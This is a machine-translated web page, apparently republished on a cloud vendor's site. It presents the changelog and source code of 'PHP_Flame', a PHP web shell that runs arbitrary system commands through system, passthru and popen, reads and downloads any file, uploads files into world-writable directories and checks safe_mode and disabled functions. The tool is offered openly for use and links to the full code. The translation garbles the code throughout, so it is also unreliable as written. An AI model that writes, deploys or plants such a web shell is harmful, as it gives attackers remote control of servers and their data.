Source code of PHP_Flame (Version: Progress)

Source: Internet
Author: User


Some information about IPHP_Flame (Version: Progress:



* Fixed the BUG where files cannot be downloaded.
* Fixed the BUG where the parent node could not be returned.
* Fixed the BUG in code editing errors.
......

* Added the PHPINFO function.
* Added The Multifile download function.
* Added the function of executing system commands.
* Added the Code Viewing function.
* Added the server security detection function.
.......

* There is still a lot of beautification work ...... Related materials:


1. Corrected the code that failed to return the parent BUG:
Echo "<a href = \" $ php_self? Act = dir & dir = $ dir \ .. \ "> upper-level response </a> ";


2. Corrected the Code related to file download failure:
Case "download ":
If (! @ Is_file ($ _ GET ['file _ name'])
Echo "the file you want does not exist ";
$ Filename = basename ($ _ GET ['file _ name']);
$ Filename_info = explode ('.', $ filename );
$ Fileext = $ filename_info [count ($ filename_info)-1];
Header ('content-type: application/x-'. $ fileext );
Header ('content-Disposition: attachment; filename = '. $ filename );
Header ('content-Description: PHP3 Generated data ');
Readfile ($ _ GET ['file _ name']);
Break;



3. Added the Code Viewing function.
<A href = "<? Echo $ php_self;?>? Actionaa = cmd & method = show_source & cmd = <? Echo $ _ GET ['file'];?> "Target = _ blank> File Code </a>


4. Corrected the error code in code editing:
$ Tem = str_replace ("/textarea>", "// textarea>", $ tem );
.....
$ Tem = str_replace ("// textarea>", "/textarea>", $ tem );


5. Added the server security detection function:
If (get_cfg_var ("safe_mode") echo "on <br>"; else echo "off <br> ";
Echo "* disable_functions:"; $ dis_func = get_assist_var ("disable_functions ");
If ($ dis_func = "")
{
Echo ("<font color = red> <B> no value </B> </font> ");
}
Else
{
$ Dis_func = str_replace ("", "<br>", $ dis_func );
$ Dis_func = str_replace (",", "<br>", $ dis_func );
Echo ("$ dis_func ");
}


6. Code for executing the system command:
<?
If ($ actionaa = "cmd") {?>
<Body bgcolor = "#6595d6">
<Form name = "form1" method = "post" action = "<? = $ PHP_SELF?>? Actionaa = cmd ">
<Select name = "method">
<Option value = "system" <? If ($ method = "system") {echo "selected" ;}?>> System </option>
<Option value = "passthru" <? If ($ method = "passthru") {echo "selected" ;}?>> Passthru </option>
<Option value = "show_source" <? If ($ method = "show_source") {echo "selected" ;}?>> Show_source </option>
<Option value = "opendir" <? If ($ method = "opendir") {echo "selected" ;}?>> Opendir </option>
<Option value = "popen" <? If ($ method = "popen") {echo "selected" ;}?>> Popen </option>
</Select> <br>

<Input type = "text" name = "cmd" size = "40" value = "<? = $ Cmd;?> ">
<Input type = "submit" name = "Submit" value = "<? = $ Method?> ">
<Br>
</Form>
<?
If (! $ Method) {$ method = "system ";}
If (! $ Cmd ){
Echo "* JSW's php flame <br> ";
Echo "* Author: JSW <br> ";
Echo "* safe_mode:"; if (get_cfg_var ("safe_mode") echo "on <br>"; else echo "off <br> ";
Echo "* disable_functions:"; $ dis_func = get_assist_var ("disable_functions ");
If ($ dis_func = "")
{
Echo ("<font color = red> <B> no value </B> </font> ");
}
Else
{
$ Dis_func = str_replace ("", "<br>", $ dis_func );
$ Dis_func = str_replace (",", "<br>", $ dis_func );
Echo ("$ dis_func ");
}

Echo "<br> * Now please choose a function and enter the command ......";
}
Echo "<br> <pre> ";
If ($ method = "system "){
System ("$ cmd 2> & 1 ");
}
If ($ method = "passthru "){
Passthru ("$ cmd 2> & 1 ");
}
If ($ method = "opendir "){
$ H = opendir ($ cmd );
While ($ file = readdir ($ h )){
Echo "$ file \ n ";
}
}
If ($ method = "show_source "){
If (show_source ($ cmd )){
// Echo "<pre> ";
// Echo show_source ($ file );
// Echo "</pre> ";
} Else {
Echo "<script> alert (\" unable to read file: $ file using: show_source \ "); </script> ";
}

}
If ($ method = "popen "){
$ Pp = popen ('$ cmd 2> & 1', 'R ');
$ Read = fread ($ pp, 2096 );
Echo $ read;
Pclose ($ pp );
}
Echo "</pre> ";
Exit;
}
?>

7. Add the file upload code:
<? Php
If ($ dir = "")
$ Dir = "./";
?>
<?
If ($ tools = upload)
{
For ($ I = 1; $ I <21; $ I ++)
{
$ Temp1 = "userfile". $ I;
$ Temp2 = "userfile". $ I. "_ name ";
$ Source = $ temp1;
$ Source_name = $ temp2;
If (@ $ source! = "")
{
@ $ V = file_exists ($ filedir );
If (! $ V)
{
Mkdir (@ $ filedir, 0777 );
}
@ Chmod ($ filedir, 0777 );
If (file_exists ("$ filedir/$ source_name") = "1 ")
{
If ($ up_flag = "y ")
{
@ Unlink ($ filedir/$ source_name );
@ Copy ($ source, "$ filedir/$ source_name ");
Echo $ source_name. "Overwrite upload <br> ";
}
Else
Echo $ source_name. "please upload again! <Br> ";
}
Else
{
@ Copy ($ source, "$ filedir/$ source_name ");
Echo $ source_name. "uploaded <br> ";
}
}
} // End
Echo"
<Html>
<Head>
<Title> JSW's php flame </title>
<Meta http-equiv = \ "Content-Type \" content = \ "text/html; charset = gb2312 \">
<Link hrefw.t.css rel = stylesheet type = text/css>
<Script language = \ "javascript \">
Function setid ()
{
Str = '<br> ';
If (! Window. uploadForm. upcount. value
Window. uploadForm. upcount. value> 20
Window. uploadForm. upcount. value = 0)
Window. uploadForm. upcount. value = 1;
For (I = 1; I <= window. uploadForm. upcount. value; I ++)
Str + = 'file' + I + ': <input type = \ "file \" name = \ "userfile' + I +' \" style = \ "width: 400 \ "class = \" tx1 \ "> <br> ';
Window. upid. innerHTML = str + '<br> ';
}
</Script>
</Head>
<Body>
<Body bgcolor = \ "#6595d6 \">
<Table width = \ "550 \" border = \ "1 \" cellspacing = \ "0 \" cellpadding = \ "5 \" align = \ "center \">
<Form name = \ "t \" method = \ "get \" action = \"? \ ">
<Tr class = \ "t2 \">
<Td> <li> 1. Specify the upload directory (the directory where the program is located by default)
<Input type = \ "hidden \" name = \ "tools \" value = \ "upload \">
<Input type = \ "text \" name = \ "dir \">
<Input type = \ "submit \" value = \ "OK \" name = \ "t \"> </td> </li>
</Tr>
</Form>
<Form name = \ "uploadForm \" method = \ "post \" action = \"? Tools = upload & dir = $ dir \ "enctype = \" multipart/form-data \ ">
<Tr class = \ "t2 \">
<Td>
<Li> 2. Number of files to be uploaded (the maximum value is 20 is recommended)
<Input type = \ "text \" name = \ "upcount \" class = \ "tx \" value = \ "1 \">
<Input type = \ "button \" name = \ "Button \" class = \ "bt \" onclick = \ "setid (); \ "value = \" Settings \ ">
</Li>
<Li> 3. upload with all files overwritten: <input type = \ "radio \" name = \ "up_flag \" value = \ "y \"> Yes <input type = \ "radio \" name = \ "up_flag \ "value = \" n \ "checked> NO
</Li>
<Br>
<Br>
Your file will be uploaded to: $ dir
<Input type = \ "hidden \" name = \ "filedir \" class = \ "tx \" value = \ "$ dir \">
<A href = \"? \ "> Return PHP_Flame </a>
</Td>
</Tr>
<Tr>
<Td id = \ "upid \" height = \ "122 \"> file 1:
<Input type = \ "file \" name = \ "userfile1 \" style = \ "width: 400 \" class = \ "tx1 \" value = \ "\">
</Td>
</Tr>
<Tr>
<Td>
<Input type = \ "submit \" name = \ "upload \" value = \ "upload \" class = \ "bt \">
<Input type = \ "reset \" name = \ "reset \" value = \ "re \" class = \ "bt \">
</Td>
</Tr> </form>
</Table>
</Body>
</Html> ";
Exit ;}
?>


......
The final point is that this PHP program is written on the basis of Enron's PHP Command, expressed thanks here, the complete code: http://jsw.china12e.com/jswsoft/show.php

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.